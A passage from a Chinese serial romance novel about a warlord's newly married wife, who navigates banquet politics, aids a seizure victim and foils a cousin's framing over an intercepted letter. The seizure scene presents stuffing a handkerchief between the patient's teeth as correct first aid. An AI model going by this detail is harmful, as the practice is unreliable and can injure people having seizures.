红丝绒沙发上坐着几位身着长衫或西装的老者,江浸月一眼就认出他们都是南川本地的商会领袖、前清遗老和学界泰斗,都代表着盘根错节的旧派势力。
新旧两派泾渭分明,这么分坐,无形间就有了对立的意思。
见晏山青过来,众人纷纷起身问候。
红丝绒这边有一位姓钱的老者,曾是沈霁禾的座上宾,去过沈家,他看到江浸月,眼神有些复杂,既有痛心,也有惋惜。
“晏督军,夫人,”钱老先生率先开口,“我们几个都是半截身子入土的人,没想到临到头了,还能见证南川易主这种大事。”
“这里原本没有我们说话的地方,督军既然给面子,把我们几个请来,那老朽就不自量力地多说几句。”
“盐税关乎民生,码头牵连数百家货行生计,铁路更是军国大事,督军刚入南川,对本地各项事务都不熟悉,一夜之间就想改朝换代,一个处理不好,南川就要乱作一锅粥,恐怕会人心不稳。”
另一人接话:“是啊晏督军,沈督军定下的各项章程,已经运行许多年,虽然有些瑕疵,但总归是平稳的,不如先保持原样,再看有哪些地方需要改进。”
江浸月在晏山青身边,垂着眼,听得明白。
他们话说得再客气、再语重心长,核心只有一个——就是不想放权,希望一切照旧。
但这是不可能的。
一朝天子一朝臣,晏山青既然夺了南川,就不可能不把势力握在自己手里。
可晏山青如果太冒进,太尖锐,又会激起新旧两派的矛盾,届时南川恐怕就不会这么太平。
江浸月就是因为想到这些,所以在晏山青叫她来宴会时,她才不想来的。
她的身份太尴尬了,既是沈霁禾的未亡人,又是晏山青的新婚妻,夹在中间,一定不容易逃过。
晏山青随意地在主位坐下,双腿交叠,手臂搭在沙发背上,恰好将江浸月圈在他的势力范围内。
他没有直接回答,反而侧头看江浸月,语气闲适得像在话家常:
“夫人既是沈家的旧人,又是晏家的新人,诸位老先生的话你也听到了,你来评评理,这旧章,是动得,还是动不得?”
一时间,所有目光都聚焦在江浸月身上。
江浸月就知道自己逃不过这一劫……
旧派们看着她,希望她能念旧情。
新派们也打量她,想知道这位新夫人识不识相?
这也是个极其刁钻的问题,无论她怎么回答,都会得罪一方,那她以后在南川都会不好过。
江浸月面上不动声色,几分钟后,她微微一笑:“钱伯伯,过去您经常到沈家坐坐,都是我为你们奉茶,有时候也会不小心听见一两句。”
“霁禾跟您感慨过很多次,盐务制度僵化,让私盐泛滥;码头派系林立,搬运工经常因为抢活而械斗;那天我收拾霁禾的遗物,还看到他一份没写完的计划书,内容是向德国银行贷款兴建南川至东湖的干线,可惜的是,还没能实施。”
几位老者闻言,脸色都有些难看。
因为她这话,就等于是含蓄地否定了现在的制度,而且还说是沈霁禾原本就不满意的,让他们想继续扯着沈霁禾当旗帜都不行。
一位老者痛心疾首地指着她:“浸月!霁禾尸骨未寒,你、你竟就这么曲解他的意思,帮着外人来夺我南川基业吗?你对得起霁禾在天之灵吗!”
江浸月语气越发恳切:“浸月只是妇道人家,哪懂什么?诸位世叔世伯才是南川的中流砥柱,咱们所求都是为了能让南川上下安稳,而晏督军想要的,也是这份安稳。”
“督军不是想否定所有旧章、换掉所有旧人,只希望能与诸位一同商议,任用贤能,定出一套更有利于南川发展的新规矩。届时,各项产业利润丰盈,得益的不也是在座的诸位?”
江浸月实际上就是选了晏山青的那一边,但话说得漂亮,既全了旧派们的颜面,又说出了利益好处,让旧派不觉得自己被侵犯了,态度也不会那么尖锐。
晏山青侧头看着她,目光深邃,指节在沙发背上轻轻敲了一下。
苏拾卷适时开口:“弟妹这话说的在理,督军的意思是融合,而非取代,具体的章程我们完全可以细谈嘛,盐税怎么收、谁来收?码头怎么管、谁来管?铁路怎么修、谁来修?全都可以谈的。”
旧派们面面相觑。
江浸月的大哥不喜欢拐弯抹角,有话就直说了:“督军办这么个宴会把我们都请过来,就是还给我们这些人留颜面,我们也承督军的情,会好好配合的。”
最终,钱老先生叹了口气,对晏山青拱了拱手:“我等,恭听督军的新章程。”
晏山青这才缓缓开口:“好,今晚大家随意玩乐,明日再请诸位贤老到军政处议事。”
处理完正事,晏山青便起身:“诸位慢聊,我和夫人还要去招待其他宾客。”
两人一起离开休息区,回到热闹大厅,江浸月的神情也略微松了松。
晏山青看着她,却是意味深长道:“夫人真是每次都能给我惊喜,不过你这么明火执仗地站在我这边,就不怕寒了老人们的心?”
江浸月温声细语的:“我已经嫁给督军,夫唱妇随,督军想做的事,我能帮上忙的地方,我一定尽全力帮。”
这话有五分真心——什么沈家旧人晏家新人,从她嫁进晏家开始,她就只有一条路,那就是站在晏山青这边。
如果妄想左右逢源、两边讨好,那最后一定会两边都没落着好。
虽然这样一来,南川人更会骂她“卖夫求荣”,她更加臭名昭著,但也没办法了。
她必须让晏山青满意,才能保住江家和沈家。
晏山青眯起眼看她,正要说什么,突然有什么东西从二楼楼梯滚了下来,还撞翻了一个放在楼梯边的博古架上的花瓶。
砰的一声响,宴会厅所有人都被吓了一跳!
“啊——”
第17章 夫人当我死了吗
江浸月惊住!
晏山青立刻朝出事方向大步走去。
江浸月下意识跟上他,围观的人惊呼:“是个人!是不是死人??”
“肯定不是啊,没看到他一直在动吗?”
“怎么一直抽抽,该不会是中邪了吧?”
江浸月蹙眉看着地上的男人,他脸色乌青,弓着身体,四肢扭曲,很不正常……啊!她想到什么,立刻挤开人群。
“让一下,让我看看他!”
晏山青一边示意副官去叫医生来,一边抓住她的手臂皱眉:“你凑什么热闹?”
江浸月没空跟他解释,挣脱他的手,跑到地上的男人身边。
男人口吐白沫,瞳孔已经有些涣散了。
有人惊呼:“他是不是中毒了?”
“没错没错,都口吐白沫了,这个症状肯定是中毒了!”
一时间,众宾客都有些惊恐,毕竟大家都吃了宴会上的东西,如果是有人投毒,那自己也有可能已经中毒!
没人想死,甚至都有人已经开始抠自己的喉咙,要把东西吐出来。
晏山青眉心拧紧,也在想是不是刺杀陈师座的那些人又卷土重来?
江浸月则是抓住男人扭曲的双手,想让他平躺,但她的力气不够,控制不住他。
她快速回头道:“来个人帮忙!”
宾客们都看不懂她在干什么:“她该不会是想救人吧?”
人群中不知哪里传来一句:“爱出风头!”
江浸月不理会这些七嘴八舌,加高了音量:“快来个人帮忙!”
大哥大嫂挤开人群,蹲在男人身边,一人一边抓住男人的手和腿,迫使他平躺。
江浸月又将男人的头偏向一侧,下一步就是直接解开男人打着领带的衬衫纽扣,往下又去解他的皮带。
一位贵妇觉得不堪入目:“她到底在干什么啊?真是伤风败俗!还是督军夫人呢?大庭广众之下做出这种事!”
其他人也是议论纷纷。
本来江浸月就背着通奸、不守妇道、二嫁之身等等污名,现在居然还在满是上流社会人士的宴会里做这种事!
江浸月的手腕突然被一股大力抓住,力气大到差点将她的手腕折断。
江浸月抬头,对上晏山青危险的眼睛:“夫人在干什么?”
江浸月抿唇,无所畏惧地回视他:“我在救人。”
“救人要这样?”
江浸月语速飞快:“他全身抽搐,口吐白沫,意识丧失,还伴有咬舌的症状,这是癫痫发作。要救他,得先将他平躺,头偏向一侧,松开他的衣领和腰带,还要避免他咬伤舌头。”
“我是在救人,督军!”
晏山青看着她,又去看地上的男人。
无人知晓他在想什么,但下一秒,他伸手扯掉男人的皮带。
——他信她说的话!
江浸月胸腔莫名激荡了一下,而后目光锁定晏山青西装上领口别着的手帕,立刻将手帕抽了下来,团成一团,塞在男人上下牙之间。
那些围观的人窃窃私语:“谁知道她说的是不是真的?”
“她说救人就救人?她有这么厉害?”
晏山青抓着江浸月的手,将她扯了起来:“已经有人去叫医生了。”
江浸月则想到,有癫痫病史的人应该会随身带着药,她又挣开晏山青的手,摸索男人的口袋,果然摸到了一瓶药。
她拿出来看,上面确实写着治疗癫痫。
她喊:“倒杯水来!”
大嫂立刻跑去倒水。
江浸月将男人的脑袋扶起来,喂他吃下一颗药。
不多时,医生也赶来了,马上去看发病的男人,确认道:“是癫痫发作……这个处理手法很专业啊,夫人学过医吗?”
江浸月只是说:“他的发病时间是五分钟前。”
医生点头说好,让人用担架将男人抬了起来:“先送医院。”
男人这会儿已经有些清醒,双手抱拳,对江浸月拱了拱手,以示谢意。
这下宴会上的人都没话说了。
大嫂松一口气,想起江浸月救人时那些人的质疑声,她又不怠道:
“比起某些只会在背后议论人家夫妻间的事的人,督军夫人这种临危不惧、冷静判断、救死扶伤的人品,才是难能可贵的!”
一些人赞赏地点头说是。
但还是有些人面露不屑,嘀嘀咕咕:“就算是为了救人,可她一个女子,也不该对一个陌生男人动手动脚,何况她还是督军的夫人,这不是连带着督军的脸也一起丢了吗?”
“可不是……”
晏山青接过侍应生的热毛巾,慢条斯理地擦着手,眼皮都没有抬一下。
直到听见一句“丢人现眼”,他忽然轻笑了一声,将毛巾丢回托盘。
“原来各位这么替我操心我的脸面啊。”
他抬起眼,目光缓缓扫过在场每一个人。
“那我倒要问问,是我晏山青的名字不够响,还是我手里的枪不够快,竟让你们觉得,我的夫人,救一条我允许她救的命,需要在乎你们那套裹脚布一样的规矩?”
此言一出,整个宴会厅鸦雀无声。
晏山青踱步起来,姿态悠闲,却带来更大的压迫感。
“看来是我近来太宽和,让诸位产生了什么误解,以为可以对我督军府里的事,指手画脚了?”
宾客们磕磕巴巴,连忙说不敢……
晏山青最终停下,停在江浸月身旁,开口就是宣示:
“既然不敢,那就都给我听好了。”
“在这南川,她做的事,就是我允准的事,谁要是觉得她的做法丢了谁的脸,”
他顿了顿,唇角勾起一抹没有温度的弧度。
“那不妨,直接来教训我。”
四下陷入一片死寂。
那些原本嘀咕的人,此刻连大气都不敢出。
谁吃了熊心豹子胆,敢“教训”晏山青啊!
大哥在一片安静中,补上一句话:
“诸位也想想,如果今日倒地的是你们自己,你们是盼着有人恪守规矩冷眼旁观,还是盼着一个像督军夫人这样,不顾流言蜚语救你命的人?”
宾客们这才说:“是啊,是啊,救人有什么错……”
江浸月不由得看向晏山青,却不知道,他说这话是为她撑腰,还是为督军夫人这个身份撑腰?
晏山青回看她,不知道注意到什么,忽然弯下腰,掸了掸她旗袍膝盖处的灰尘。
是刚才跪地时,粘上的灰尘。
其他人都很震惊,督军对她竟然爱护到这个地步!?
明明还隔着裙摆,江浸月却觉得,被他手碰过的位置,肌肤有些滚烫。
人群中忽然传来一道温柔的女声:“督军夫人自幼在国外留洋,学得一手好医术,救死扶伤,正是我们新式女子的典范。”
一番话将所有人的目光都吸引过去。
江浸月也抬起头,然后就看到走出来的女人是——
宋知渝。
她居然也来了宴会!
第18章 抢走江浸月的风头
宋知渝一袭绿色长裙,婀娜娉婷,手里端着一杯酒,温柔微笑:“督军,您还没有向众位宾客敬酒,不如就借这杯酒敬众位宾客,还有敬夫人的义举吧。”
晏山青挑眉:“是个好主意。”
宋知渝招了招手,服务生赶忙端着托盘过来。
晏山青拿起酒杯,对众位宾客举杯,意味深长道:“多谢大家今晚来捧晏某人的场。以后大家都在南川城里讨生活,有什么事,大家也要这么互帮互助。”
众人得了台阶,纷纷举杯。
这个插曲到此为止。
宋知渝站到晏山青身边,轻轻地喊:“督军。”
江浸月和大嫂对视一眼:“督军,我想去洗手间。”
晏山青随意点下头,两人一起转身离开。
从几位宾客身边经过时,听见他们小声议论:“那位就是督军府里的宋小姐啊?难怪能得督军和老夫人这样喜欢,真有女主人的风范。”
是啊。
宋知渝就这么轻飘飘地出现,又轻飘飘地说了两句话,就将全场的焦点转移到她身上。
连刚救了人的江浸月的风头都盖过去了。
新婚之夜她使出的招数太蠢,多少让江浸月有些低看她,从而忽略了她的办法虽然蠢,可也确实成功将晏山青叫走。
今天更是,全程没有展露出存在感,几乎所有人都不知道她来了,却在关键时刻走出来,宛如一个压轴出场的主角。
大嫂面色很严肃,低声说:“看吧,我就说这女人不简单,你今后在后宅千万要小心。”
前面就是转弯口,江浸月不动声色地回头,看到晏山青正在跟宾客说话,宋知渝站在他旁边,两人倒是没有肢体接触。
去完洗手间回来,江浸月就没让大嫂再陪着自己。
大嫂在宴会上也有朋友,今晚打扮得这么漂亮,应该好好玩玩,她则想回到晏山青身边。
但环顾了一圈宴会厅,却没有看到他。
问了一个服务生,服务生说在二楼,江浸月便走上楼梯,果然看到晏山青和苏拾卷以及另外两个男人坐在小客厅抽烟。
苏拾卷说:“沈家人好像没来?”
一个男人回道:“是没来。给沈谦和发了帖子,他说自己病了,来不了。沈家派系里也有几个没来。”
晏山青意味不明地说:“这么有骨气。”
另一个男人话里都是戾气:“督军好吃好喝的供着他们,他们反而不知道知恩图报,实在可恶!等局势稳定了,这些人还是留不得!”
晏山青没有说话。
江浸月无声无息地走下楼,回到人声鼎沸的宴会厅,耳边却是嗡嗡的,只能听见自己急促的心跳声。
晏山青办这个宴会是为了让新旧两派势力融合,沈家人和沈家派系不肯来,就是不给他这个新南川主人面子,有不臣之心。
……沈家人糊涂啊,怎么能跟晏山青对着干呢?
江浸月心口堵得慌。
没过多久晏山青就下楼了。
他若无其事地走到江浸月身旁,紧跟着过来的还有神出鬼没的宋知渝。
事实证明。
大嫂还是太乐观了。
江浸月跟宋知渝的“好戏”,根本不用等到回后宅。
宴会散场后,他们三个都要回督军府的人,自然而然地同乘一辆车,但一辆车的后座只能坐两个人,夫妻刚刚好。
江浸月和晏山青晚出来一步,宋知渝已经占了一个后座,从车窗探出头来,笑着说:“督军,夫人,上车吧。”
后座宽敞,坐得舒服,晏山青自然是要坐在后座。
那么,江浸月是要跟宋知渝挤一个位置呢,还是自己去前排,把后排的两个座位让给她和晏山青呢?
江浸月心想,这个选择题也有意思——她是要选择跟宋知渝共事一夫呢,还是给宋知渝让位呢?
晏山青长腿迈进车里,腰一弯,人也坐进去。
男人太高大了,进了车内,原本挤挤还能坐三个人的后座,现在完全坐不进第三人,江浸月只能去前排。
江浸月看到宋知渝嘴角流露出一抹隐秘的微笑,就好像是在得意。
江浸月没说什么,准备去前排。
“夫人不回家,还要去哪儿?”晏山青冷不丁出声。
江浸月说:“我上车。”
晏山青挑眉:“车不就在这里,夫人还要上哪里?”
“我……督军!”
江浸月刚要解释自己是去前排,晏山青就长臂一伸,抓住她的手臂,一拽!
江浸月脚步踉跄地跌到他身上,晏山青轻而易举就抱起她,一句“低头”,江浸月下意识照做。
然后就被他抱到自己的大腿上!
突然悬空的身体,江浸月本能地伸手想要抓住什么,结果抱到他的脖子。
江浸月:“!”
晏山青垂眼看怀里的女人,似笑非笑:“这里不够夫人坐?”
江浸月:“……”
汽车的空间本就有限,还占据了男人高大的身体,她坐在他的腿上,必须低着头将脑袋放在他肩膀的位置。
这样近乎密不透风的姿势,晏山青的体温从四面八方将江浸月紧紧包裹。
他们之间,虽然有过“宽衣解带”,也有过牵手和“坐大腿”,但还是第一次用这样亲密的姿势。
江浸月全身僵硬,感觉到臀下男人的大腿肌肉结实而坚硬,她更是一秒钟都无法承受。
“……督军,我到前面坐。”
晏山青“砰”的一声将车门关上,对前排的司机说:“开车。”
司机立刻启动车辆。
旁边的宋知渝已经快要将裙子揉破了!
“夫人知道自己今晚救的人是谁吗?”晏山青丝毫不觉得这个姿势有问题,若无其事地跟她聊起来。
江浸月屏住呼吸:“……不清楚。”
晏山青:“不清楚你还那么卖力救他?”
“我算半个医生,医生救人跟病人的身份没关系。”江浸月眼眸转动,也怕自己救了他不想救的人坏了他的事,小心地问,“那个人是谁?”
“军政府一个文员。他的家人刚过来解释,说他有遗传性癫痫病史,今晚是突然发作,送去医院后已经没事了,这多亏了你,还说等出了院,要亲自登门向你道谢。”
听到病人没事,救的人也没什么身份问题,江浸月也放心很多:“只是举手之劳,不用特意道谢。”
“你做得很好。要是人真的出事,那就违背我办这个宴会的初衷了。”
江浸月低声:“多谢督军夸奖。”
晏山青随意地问:“有什么想要的吗?”
意思是,要给她奖励?
第19章 几乎死在晏山青身上
江浸月抬了一下眼,看到他饱满的喉结,想到在二楼听到的那些话……轻轻抿唇。
“我只是做了我应该做的,不敢要督军的奖励,但督军一定要奖励我的话,上次您说我想练枪,可以带我去军中的靶场?”
晏山青很爽快地答应了:“可以,找个好天气我带你去。”
江浸月笑起来:“谢谢督军。”
话题到此结束,晏山青没再说话。
而安静下来后,这么近的距离,江浸月甚至能听见晏山青的呼吸声,又有些不自然。
她小心翼翼地跟他的胸膛拉开一点距离,又将手从他的脖子上悄悄撤走。
晏山青睨了她一眼,突然说:“刹车。”
司机是他手下的士兵,令行禁止,马上踩住刹车。
骤然停下的速度,江浸月的身体本能地扑向晏山青胸膛,刚拉开的一点距离就这么被自己撞没了。
意识到他是故意,江浸月有些羞恼地抬起眼看他。
晏山青当然感觉得出她的紧张,他垂下眼就能看见她旗袍立领内,后颈通红的肌肤。
她刚才那么撞上来,胸前的棉软也贴上了他胸肌。
晏山青莫名想起那晚她主动解开衣服,他冷不丁看到的画面……
他喉结滚动,放在她腰上的手掌加重力道,警告道:“坐好,别乱动。”
……到底是谁乱动?!
不是他把她拽上来的吗?不是他让司机刹车的吗?
江浸月后颈泛起细小的战栗,总觉得哪怕隔着旗袍,也能感觉到他掌心的温度。
太热。
热得她隐隐有些出汗。
从洋楼到督军府的距离并不远,车子刚刚停稳,江浸月等不及司机开门,便自己打开车门逃下去。
短短的十几分钟路程,她几乎要“死”在晏山青身上。
她匆匆说了一句:“督军,我先回垆雪院。”然后就马不停蹄地跑了。
因此没有看到,晏山青将她拽到他的腿上后,宋知渝勉强至极的脸色。
晏山青也要走进督军府。
宋知渝咬着下唇,忍不住喊了一句:“……青哥。”
晏山青转头。
宋知渝含着眼泪走到他面前:“青哥,我是不是哪里做错了?”
晏山青似乎笑了,又似乎没有:“怎么这么问?”
“您今晚都没怎么跟我说话,这几天也没有来看我,是不是因为,还在怪我在您新婚夜不小心落水,坏了您跟夫人的洞房花烛夜?但我真的不是故意的。”
晏山青看着她:“真的不是故意的?那刚才又为什么要霸占江浸月的位置?”
他看得出宋知渝的意图,所以才把江浸月拽他腿上——她是他的人,她应该在哪个位置,他说了算。
容不得别人算计!
宋知渝眼泪掉得更凶了,突然一下投进他怀里:“青哥!我知道错了,您别怪我,我以后不敢了……青哥,我只是害怕,这些天,我总梦见十年前屠村的事……”
督军府门前的灯光明亮,不过男人的眉骨立体,扛住了光源,使得眼神看不清楚。
晏山青抬手擦掉她脸颊上的泪,然后说:“我送你回琼华苑吧。”
宋知渝这才破涕为笑。
……
江浸月前脚回到垆雪院,后脚辛儿就紧跟着她进门,着急地说:
“夫人,督军跟宋小姐去了琼华苑,这么晚了,他肯定在琼华苑过夜了!”
“督军这段时间忙,都没有回督军府,一回来就去了宋小姐那边,夫人,您不也是跟督军一起回来的吗?为什么没有让督军过来啊?”
江浸月在椅子上坐下,缓了好一会儿才平复下心跳与呼吸,抬眼看辛儿:“你躲在哪里偷看?”
辛儿挠挠头:“在假山后面。”
江浸月说:“这里是督军府,你不要鬼鬼祟祟的,万一被当成奸细,你死都不知道自己是怎么死的。”
辛儿的脸色一白,连忙说:“辛儿不敢了,下次不敢了。”
江浸月知道她刚进督军府,什么规矩都不懂,不然她也不会让她跟在自己身边。
辛儿给她倒了杯水:“可是夫人,督军……”
江浸月:“腿长在他身上,他想去哪里过夜谁管得了?”
辛儿还是为她担心:“夫人不想督军的心在您身上吗?”
问得好。
江浸月其实没兴趣跟宋知渝争风吃醋,也不那么在乎晏山青跟哪个女人睡,她想着圆房,主要是为了成为名副其实的督军夫人。
她必须坐稳这个位置,才能护住自己想护住的人。
尤其是今晚,她还听到晏山青跟苏拾卷他们的对话,晏山青态度不明,而其他人明显容不下沈家,以后的摩擦肯定少不了,她要是什么都不是,哪怕她挡在沈家门前,也拦不住他们的刀和枪。
就好比宴会上那些长舌妇,敢对她说三道四,也是看晏山青轻慢她,所以才不拿她当回事。
江浸月静坐沉思了很久,忽然起身朝里间走去。
辛儿以为她要休息了,正要退下,江浸月却说:“辛儿,你先别走,再帮我做一件事。”
“哦。”
江浸月在里间写好一封信出来,交给她:“今晚督军直接带我回家,我没来得及跟我爸妈说一声,怕他们还在等我,你现在就去一趟江家,将告知信交给我妈妈。”
“是,辛儿马上去。”
这封信很快就送到江夫人手上。
江夫人打开,上面只有一句话:“妈妈,让哥哥想办法提醒沈家,勿要与晏山青作对。”
江夫人连忙把信烧了,为女儿后怕,她现在是晏山青的夫人,怎么写信关心沈家人呢?
万一被晏山青截获,谁能不介意妻子关心前夫一家,那样一来,她的日子就不好过了!
……
第二天的天气不错,江浸月照例在起床洗漱后,准备去给老夫人请安。
辛儿服侍她穿戴,低声说:“夫人,我看到表小姐一大早来了,直奔寿松堂,不知道有什么事?”
江浸月戴上耳环:“老夫人是她姨母,她来督军府不奇怪,去寿松堂也不奇怪。”
辛儿瘪瘪嘴:“督军的女人怎么那么多啊,家里一个,外面一堆。夫人,您知道那个宋小姐是什么来头吗?”
江浸月还真知道。
宋知渝其实是晏山青老家的邻居。
当年晏山青起兵夺东湖,溃逃的东湖军愤恨交加,不敢跟晏山青面对面打一场,就卑鄙无耻地偷袭了晏山青的老家,屠杀了全村百姓泄愤。
其中就包括宋知渝的父母家人们,宋知渝是躲在地窖里才逃过一劫。
晏山青得知此事后,亲率二十亲兵追杀那些东湖军,杀得他们节节败退十分狼狈,最后抵挡不住缴械投降。
都说“降兵不杀”,但晏山青不管手下人的劝说,把他们全枪毙了。
这件事也让晏山青本就不好的名声,更加雪上加霜。
江浸月能知道这件事,是二哥随口说给她听的。
二哥也不赞同杀降兵,毕竟自古以来,战争的三大人道主义法则就是——不斩来使、不屠俘虏、不杀降兵。
而江浸月当时听完的第一反应却是:“杀得好。”
这些人为了泄愤屠杀手无寸铁的百姓,丧尽天良禽兽不如,凭什么他们放下武器,自己变成这个“手无寸铁的百姓”就不能杀了?
总之从这之后,宋知渝就被晏山青带回了自己家,老夫人也十分怜惜和疼爱她,手把手教她执掌后院,俨然就是把她当成儿媳妇培养。
据说两人早就指腹为婚,更是青梅竹马。
第20章 把江浸月送去乡下庄子!
穿戴完毕,江浸月带着辛儿到了寿松堂。
正厅里,老夫人跟陈佑宁有说有笑,她走上前去,略微福了福身:“给母亲请安。”
“浸月啊,”老夫人笑意未改,握着陈佑宁的手为她介绍,“这位你应该是第一次见吧?是山青的表妹,叫佑宁的。”
江浸月只是微笑:“表妹你好。”
陈佑宁似笑非笑,跟她装作是第一次见:“表嫂果然是个美人儿,难怪能让沈霁禾那个逆贼一见倾心,早早上门求娶,十七岁就做了他们沈家的媳妇。”
老夫人的脸色稍有不满:“还提这个做什么?”
陈佑宁装出一派天真烂漫地说:“没什么呀,就是感慨表嫂的美貌而已。”
她跑到江浸月身边,亲热地挽住她的手臂,拉她一起坐下,像个不谙世事的小孩,“表嫂,你觉得是沈霁禾那个逆贼对你更好,还是我表哥对你更好呀?”
“肯定是我表哥吧,你能弃暗投明跟了我表哥,真是你三生修来的福气,你可要好好珍惜,否则你就要给沈霁禾那个逆贼守寡啦~”
晏山青走到寿松堂门口,听到的就是这些幼稚的挑衅。
他心忖陈佑宁还没完了,下次遇到她爸,非要提醒他教好女儿。
他刚要迈进门,却就听见他那位夫人反问:“表小姐对沈霁禾一口一个‘逆贼’的称呼,是什么意思?”
晏山青停下脚步。
陈佑宁马上一副抓住她话柄的样子,迫不及待地喊起来:“表嫂,你又是什么意思?你都嫁给我表哥了,就算跟沈霁禾有过夫妻之谊,你也不能到了现在还对他念念不忘啊,我只不过这么一说,你就介意啦?”
老夫人不咸不淡地看了江浸月一眼:“浸月,你太不懂事了。”
江浸月:“母亲,我没有别的意思。我只是好奇,表小姐为什么会用‘逆贼’地称呼沈霁禾?”
“我记得督军刚入南川时说过,‘沈霁禾是个好对手,虽然这次是我赢了他,但传令下去,谁都不准为难沈霁禾的父母和亲友,他们在南川的生活一切照旧’。”
晏山青站在门外,点了一支烟,意味不明地哂笑一下——一字不差,这就是他的原话,她记得还挺清楚。
陈佑宁哼声:“那又怎么样?”
江浸月道:“表小姐说沈霁禾是逆贼,那么沈家人就都是逆贼,督军又为什么会下令善待沈家人?我只是觉得这两番话有些矛盾,所以问表小姐是什么意思而已。”
陈佑宁:“我——!”
江浸月上下看了看她:“表小姐那么着急抓我的话柄,看来不是沈霁禾或者沈家人让表小姐不满,而是我这个表嫂让表小姐不满。”
陈佑宁倏地站起来,气急败坏地说:“你根本就是强词夺理!”
“你刚才就是在为沈霁禾打抱不平!所以才会质问我!你心里就是还没有放下沈霁禾!还没有把我表哥当成你的丈夫!而且姨母,我可是有证据的!”
老夫人一怔:“你有什么证据?”
陈佑宁立刻拿起自己放在桌上的手包,从里面掏出一个黄色信封,对江浸月得意抬起下巴。
“我这里有一封这个女人昨天晚上偷偷写给她娘家,让她娘家关照沈家人的信!您看看!”
江浸月的目光落在她手里的信封上,然后回头去看辛儿。
辛儿的脸色惨白!
老夫人打开信一看,里面赫然是一句——妈妈,让哥哥想办法提醒沈家人,勿要与晏山青作对。
信上虽然没写什么不可告人的东西,但江浸月现在是晏家的儿媳妇,却去提醒前夫一家要小心他们,着实是胳膊肘往外拐。
由此也足见她还放不下沈家那群人,这样三心二意的女人,实在是令人反感。
这时,门外传进来男人的声音:“什么信?给我也看看。”
晏山青大步跨过门槛。
陈佑宁立刻夺过老夫人手中的信,跑到晏山青面前:“表哥,你来了!我可没有冤枉这个女人,这是她亲笔写的信,半夜偷偷摸摸叫身边的丫鬟送去江家的!”
晏山青接过去一看,而后目光看向江浸月。
江浸月神色平静。
陈佑宁夸大其词:“她身在曹营心在汉,这样的女人娶回家就是个祸患!没准哪天会为了沈家对你不利,毕竟你是斩杀沈霁禾的人,留着她在你身边,万一她半夜拿刀把你给砍死了怎么办?!”
这句话惊得老夫人站了起来!
她本来就对江浸月很不满意,现在看她的眼神更是大变。
如果是真的,她绝对不会留这么一个随时可能害他儿子性命的祸患在府里!
老夫人厉声质问:“浸月!这封信是不是你写的?!”
江浸月则是看向陈佑宁:“我想先问问宋小姐,这封信你从哪得来的?”
“当然是你让丫鬟送去江家,半路被我截获的!”
陈佑宁冷笑,“怎么样?是不是无话可说?表哥,姨母,我看还是把这个女人送到乡下庄子去吧!我真怕她嫁给表哥是为了蛰伏在晏家,就等着机会一来,一把火烧了督军府!”
老夫人一想就害怕,捂住了心口!
而江浸月只问:“哪个半路?是出了督军府,还是没出督军府?”
陈佑宁不知道她问这句话什么意思:“还没出督军府,怎么了?”
江浸月摇了摇头:“看来督军府内是有表小姐的眼线,否则,你怎么能在「半夜的督军府」里抓住我的丫鬟呢?”
晏山青随手将信丢在桌子上,大马金刀地在圈椅上坐下:“你还在我这儿安了眼线?”
陈佑宁连忙否认:“不是不是!我刚才说太急了!是督军府外,是在督军府外截获!”
江浸月又笑了笑:“也就是说,你「让人日夜监视督军府」,所以才能这么及时地抓住我的动态。这么处心积虑费尽心思,到底谁更像是要对督军府不利呢,表小姐?”
陈佑宁一时无言以对:“我!”
她掉进江浸月的语言陷阱了!
这个问题无论是回答在督军府内,还是在督军府外,都不合适!
晏山青的脸色骤然一变,手掌猛地拍桌,茶杯震翻,茶水泼湿信纸:“陈佑宁,你到底想干什么!”
陈佑宁被他的厉喝吓得整个人都是一抖!
随即眼眶就红了:“我、我……不是,信是她写的,是她对沈家人还有旧情,为什么要审我啊?!”
第21章 晏山青很护着江浸月
江浸月不慌不忙地道:“我昨晚的确写了一封信,让辛儿送去江家,但辛儿有将信送到。不信现在就可以去叫江家的门房过来对峙,信是不是有进江家的门?”
“既然我只写了一封信,并且江家已经收到,那么表小姐手上的这封信,又是谁写的呢?”
陈佑宁下意识说:“我看了你的信后,撰写了一封一模一样的送去江家,这是你的原件。”
“噢,撰写。”
江浸月意味深长地重复这个词,“可你既然能写信,那么信的内容,就不能是你捏造来陷害我的吗?”
陈佑宁瞪眼:“这是你的字迹!”
“你既然有心要对付我,模仿一下我的字迹也不难。督军,母亲,你们说,有没有道理?”
!!陈佑宁没想到她这么能狡辩!!
她一时间不知道该怎么回击,只能气急败坏地喊道:“我没有!这就是你信里的原内容!江浸月你这个巧舌如簧的贱人破鞋,你——”
“够了!”
晏山青怒喝,陈佑宁脸色煞白!
“跑到我家里骂我的夫人,陈佑宁,你以为你是谁!”
陈佑宁眼眶骤红!
既有被当众喝斥的难堪,又有这个骂她的人是晏山青的委屈。
晏山青以前很宠她的,现在却为了江浸月骂她:“表哥……”
晏山青本就长了一副不好惹的样子,动起怒来更叫人胆战心惊:“你爸和你姨母把你惯坏了,让你都敢到我的眼皮底下撒野了!”
陈佑宁眼泪吧嗒吧嗒掉:“表哥,我没有……”
晏山青一句话:“马上向你表嫂道歉,然后滚出督军府,最近别让我看到你,否则我把你送回东湖!”
“姨母……”陈佑宁还想向老夫人求助。
但老夫人看出晏山青是真的生气了,她从来不会跟她这个一家之主的儿子作对,何况,陈佑宁今天这件事确实莫名其妙。
她不管了,起身进屋。
陈佑宁没想到连姨母都不站她,更委屈了,哭着跺脚想要跑。
晏山青语气冷冰冰:“站住——你还有什么事没做?”
陈佑宁硬生生停下脚步,哭得妆都花了,不甘心地吼道:“……对不起!行了吧!”
江浸月喊她:“表小姐。”
陈佑宁大声:“干什么!”
江浸月走到她面前,将手帕递给她擦眼泪:“你就这么跑出督军府,会让人看笑话的。”
陈佑宁打掉她的手,满眼是愤怒:“用不着你猫哭耗子假慈悲!江浸月,我们走着瞧!”
晏山青抬眼:“你说什么?”
“……”陈佑宁敢怒不敢言。
江浸月却说:“表小姐不妨想一想,是谁害你今天丢这么大的脸?”
陈佑宁咬唇:“除了你还有谁!”
江浸月道:“信,是谁给你的?”
……陈佑宁眼睫闪动一下。
“如果这件事真有那么十拿九稳,那个人为什么不自己出面控告我,反而要让你来当这个出头鸟?她分明是在拿你当枪使。”
陈佑宁愣住,表情变幻莫测,最后哼了一声,跑出门去。
她一路跑出寿松堂,跑到假山后擦眼泪,冷静下情绪后,回想起江浸月的话,越想越觉得有道理,她咬住牙,一扭头,去了琼华苑!
寿松堂这边,晏山青还坐在圈椅上。
长腿自然分开,很野的模样:“你跟那丫头说什么了?”
